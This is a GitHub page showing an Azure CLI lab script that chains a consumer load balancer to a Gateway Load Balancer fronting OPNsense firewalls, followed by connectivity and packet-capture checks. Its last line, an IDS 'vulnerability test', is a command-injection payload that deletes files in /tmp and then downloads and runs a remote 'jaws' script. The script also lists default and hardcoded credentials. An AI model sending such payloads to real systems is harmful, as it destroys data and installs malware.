forked from dmauser/azure-gateway-lb
-
Notifications
You must be signed in to change notification settings - Fork 0
/
deploy.azcli
231 lines (188 loc) · 11.9 KB
/
deploy.azcli
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
### AZ CLI
az login
#List all your subscriptions
az account list -o table --query "[].{Name:name, IsDefault:isDefault}"
#List default Subscription being used
az account list --query "[?isDefault == \`true\`].{Name:name, IsDefault:isDefault}" -o table
# You can provision both Consumer and Provider in the same Subscription
# In case you want to do it separated Subscription change your active subscription as shown
az account set --subscription VSE-SUB #My personal MSDN Subscription
### Consumer ###
# Define variables based on your requirements
consumer_rg=glb-lab
consumer_location=centralus
consumervnetcidr="10.0.0.0/24"
consumersubnet="10.0.0.0/27"
consumerbastionsubnet="10.0.0.32/27"
mypip=$(curl -4 ifconfig.io -s) # or replace with your home public ip, example mypip="1.1.1.1" (required for Cloud Shell deployments)
echo "Type username and password"
read -p 'Username: ' username && read -sp 'Password: ' password
# 1) Create Consumer VNET and subnet
az group create --name $consumer_rg --location $consumer_location --output none
az network vnet create --resource-group $consumer_rg --name consumer-vnet --location $consumer_location --address-prefixes $consumervnetcidr --subnet-name vmsubnet --subnet-prefix $consumersubnet --output none
# 2) UDR to restrict SSH access to Azure VMs from your Public IP only:
az network nsg create --resource-group $consumer_rg --name consumer-nsg --location $consumer_location
az network nsg rule create \
--resource-group $consumer_rg \
--nsg-name consumer-nsg \
--name AllowSSHRule \
--direction Inbound \
--priority 100 \
--source-address-prefixes $mypip/32 \
--source-port-ranges '*' \
--destination-address-prefixes '*' \
--destination-port-ranges 22 \
--access Allow \
--protocol Tcp \
--description "Allow inbound SSH" \
--output none
az network nsg rule create \
--resource-group $consumer_rg \
--nsg-name consumer-nsg \
--name allow-http \
--direction Inbound \
--priority 101 \
--source-address-prefixes '*' \
--source-port-ranges '*' \
--destination-address-prefixes '*' \
--destination-port-ranges 80 \
--access Allow \
--protocol Tcp \
--description "Allow inbound HTTP" \
--output none
az network vnet subnet update --name vmsubnet --resource-group $consumer_rg --vnet-name consumer-vnet --network-security-group consumer-nsg --output none
# 3) Create Public Load Balancer
az network lb create -g $consumer_rg --name consumer-elb --sku Standard --frontend-ip-name frontendip1 --backend-pool-name vmbackend --output none
az network lb probe create -g $consumer_rg --lb-name consumer-elb --name httpprobe --protocol tcp --port 80 --output none
az network lb rule create -g $consumer_rg --lb-name consumer-elb --name http-lb-rule --protocol TCP --frontend-ip-name frontendip1 --backend-pool-name vmbackend --probe-name httpprobe --frontend-port 80 --backend-port 80 --output none
az network lb inbound-nat-rule create -g $consumer_rg --lb-name consumer-elb -n sshnat --protocol Tcp --frontend-port 50000 --backend-port 22
# 4) Deploy Azure VM with NGX using a simple test Website
az network nic create --resource-group $consumer_rg -n consumer-vm-nic --location $consumer_location --subnet vmsubnet --vnet-name consumer-vnet --output none
az vm create -n consumer-vm -g $consumer_rg --image UbuntuLTS --size Standard_B1s --admin-username $username --admin-password $password --nics consumer-vm-nic --no-wait --location $consumer_location --output none
# ) Attach VM to LB Rule and NAT Rule
az network nic ip-config address-pool add --address-pool vmbackend --ip-config-name ipconfig1 --nic-name consumer-vm-nic --resource-group $consumer_rg --lb-name consumer-elb --output none
az network nic ip-config inbound-nat-rule add --inbound-nat-rule sshnat --ip-config-name ipconfig1 --nic-name consumer-vm-nic --resource-group $consumer_rg --lb-name consumer-elb --output none
# 6) Install nginx and test website (Move this to cloud.init)
az vm extension set --resource-group $consumer_rg --vm-name consumer-vm --name CustomScript --settings '{"commandToExecute": "apt-get -y update && apt-get -y install nginx && echo Test Website on consumer-vm > /var/www/html/index.html"}' --publisher Microsoft.Azure.Extensions --no-wait
# 7) Deploy Bastion (Optional)
az network vnet subnet create --resource-group $consumer_rg --name AzureBastionSubnet --vnet-name consumer-vnet --address-prefixes $consumerbastionsubnet --output none
az network public-ip create --resource-group $consumer_rg --name consumer-bastion-pip --sku Standard --location $consumer_location
az network bastion create --name consumer-bastion --sku basic --public-ip-address consumer-bastion-pip --resource-group $consumer_rg --vnet-name consumer-vnet --location $consumer_location
### Provider ###
### AZ CLI (Optional) - In case you want to deploy Provider in another Subscription
az login
#List all your subscriptions
az account list -o table --query "[].{Name:name, IsDefault:isDefault}"
#List default Subscription being used
az account list --query "[?isDefault == \`true\`].{Name:name, IsDefault:isDefault}" -o table
# You can provision both Consumer and Provider in the same Subscription
# In case you want to do it separated Subscription change your active subscription as shown
az account set --subscription VSE-SUB #My personal MSDN Subscription
az account set --subscription DMAUSER-MS #My Microsoft Internal Subscription
#Variables - Make changes based on your needs.
provider_rg=glb-lab
provider_location=centralus
providervnetcidr="10.0.0.0/24"
providerexternalcidr="10.0.0.0/27"
providerinternalcidr="10.0.0.32/27"
providerbastionsubnet="10.0.0.64/27"
nva=provider-nva
mypip=$(curl -4 ifconfig.io -s) # or replace with your home public ip, example mypip="1.1.1.1" (required for Cloud Shell deployments)
# 1) Create provider VNET and Internal/External
az group create --name $provider_rg --location $provider_location --output none
az network vnet create --resource-group $provider_rg --name provider-vnet --location $provider_location --address-prefixes $providervnetcidr --subnet-name external --subnet-prefix $providerexternalcidr --output none
az network vnet subnet create --name internal --resource-group $provider_rg --vnet-name provider-vnet --address-prefix $providerinternalcidr --output none
# 2) Deploy both OPNsense NVA (work on this)
az deployment group create --name $nva-deploy-$RANDOM --resource-group $provider_rg \
--template-uri "https://raw.githubusercontent.com/dmauser/azure-gateway-lb/main/bicep/glb-active-active.json" \
--parameters virtualMachineSize=Standard_B2s virtualMachineName=$nva TempUsername=azureuser TempPassword=Msft123Msft123 existingVirtualNetworkName=provider-vnet existingUntrustedSubnet=external existingTrustedSubnet=internal PublicIPAddressSku=Standard \
--no-wait
# Password specified above is not used, only during deployment.
# After deployment you can access OPNsense by using elb Public IP on port 50443 (first instance), 50444 (secondary instance)
# Get provider-nva-elb Public IP to manage both instances
az network public-ip show -g $provider_rg --name provider-nva-elb-pip --query ipAddress -o tsv
# It is recommended you to manage only primary and syncronize configuration with secondary.
# Default username is: root and default password is: opnsense
# 3) Deploy Bastion (Optional) - You can access OPNSense by SSH via Bastion to perform troubleshooting.
az network vnet subnet create --resource-group $provider_rg --name AzureBastionSubnet --vnet-name provider-vnet --address-prefixes $providerbastionsubnet --output none
az network public-ip create --resource-group $provider_rg --name provider-bastion-pip --sku Standard --location $provider_location --output none
az network bastion create --name provider-bastion --sku basic --public-ip-address provider-bastion-pip --resource-group $provider_rg --vnet-name provider-vnet --location $provider_location
#### Build a chain between consumer-elb and provider-nva-glb
# Check current sub
az account list --query "[?isDefault == \`true\`].{Name:name, IsDefault:isDefault}" -o table
# Subscription where Provider (required only if provider is on different subscription)
az account set --subscription <provider subscription> # Change to your subscription name
# Set Gateway Load Balancer (provider-nva-glb) frontend name resource ID as variable
glbfeid=$(az network lb frontend-ip show -g $provider_rg --lb-name provider-nva-glb --name FW --query id --output tsv)
echo $glbfeid
# Subscription where Consumer is (required only if consumer is on different subscription)
az account set --subscription <consumer subscription> # Change to your subscription name
# Add chain between consumer-elb and provider-nva-glb
az network lb frontend-ip update -g $consumer_rg --name frontendip1 --lb-name consumer-elb --public-ip-address PublicIPconsumer-elb --gateway-lb $glbfeid --output none
# Validate chain between consumer-elb and provider-nva-glb
az network lb frontend-ip show -g $consumer_rg --name frontendip1 --lb-name consumer-elb --query gatewayLoadBalancer.id -o tsv
# In case you see a resource ID it there's a chain between consumer-elb and provider-nva-glb.
# Otherwise, empty output means there's no chain.
# Remove chain between consumer-elb and provider-nva-glb
az network lb frontend-ip update -g $consumer_rg --name frontendip1 --lb-name consumer-elb --public-ip-address PublicIPconsumer-elb --gateway-lb "" --output none
# Connectivity Checks / Replace the Public IP listed below with your LB.
# Get you LB Public IP:
# Subscription where Consumer is (required only if consumer is on different subscription)
az account set --subscription <consumer subscription> # Change to your subscription name
# Get consumer-elb public ip as variable.
consumerelbpip=$(az network public-ip show -g $consumer_rg --name PublicIPconsumer-elb --query ipAddress -o tsv)
echo $consumerelbpip
## Port 50000 - NAT Rule to 22 Consumer-VM Backend
# Use the output below to run your connectivity tests.
#Tests on Windows
echo psping -t $consumerelbpip:80
echo psping -t $consumerelbpip:50000
# Run output on windows command line.
# Use Linux (it requires nmap and hping3 packages)
sudo hping3 $consumerelbpip -S -p 50000
sudo nping --tcp $consumerelbpip -p 80 -c 50000
nc -v -z $consumerelbpip 80
# output: Connection to 40.113.192.215 80 port [tcp/http] succeeded!
curl $consumerelbpip
# output: Test Website on consumer-vm
# Port 80 - LB Rule HTTP
psping -t 40.77.94.253:80
sudo hping3 40.77.94.253 -S -p 80
sudo nping --tcp 40.77.94.253 -p 80 -c 1000
# Test Consumer-VM Oubound Traffic via GLB
ssh [email protected] -p 50000
nc -v -z 8.8.8.8 53
# Consumer Jumpbox
#OPN Capture oubound traffic
tcpdump -n -i vxlan1 host 8.8.8.8
# Recommended for savings
# Set variables (Replace the variables when needed)
$consumer_rg=glb-lab
$consumer_location=glb-lab
$provider_rg=-glb-lab
$provider_location=glb-lab
# 1) Delete Bastion (later move this process to Bicep)
az network bastion delete --resource-group $consumer_rg --name consumer-bastion
az network bastion delete --resource-group $provider_rg --name provider-bastion
# 2) Add Bastion
az network bastion create --name provider-bastion --sku basic --public-ip-address provider-bastion-pip --resource-group $provider_rg --vnet-name provider-vnet --location $provider_location --no-wait
az network bastion create --name consumer-bastion --sku basic --public-ip-address consumer-bastion-pip --resource-group $consumer_rg --vnet-name consumer-vnet --location $consumer_location --no-wait
# Wait about 5 minutes to complete Bastion deployment.
# Clean up lab
# Set variables
$consumer_rg=
$consumer_location=
$provider_rg=
$provider_location=
az
#### Troubleshooting/Advanced validations
#Check traffic VxLAN traffic OPNSense after chaining with LB
tcpdump -n -i hn1 host 10.0.0.36
### Network Capture OPNSense
#Inbound (External Interface)
tcpdump -n -i vxlan0
#Outbound (External Interface)
tcpdump -n -i vxlan1
# Vulnerability Test (Enable IDS on OPNsense)
curl http://40.77.94.253/shell?cd+/tmp;rm+-rf+*;wget+net.joostjansen.ml/jaws;sh+/tmp/jaws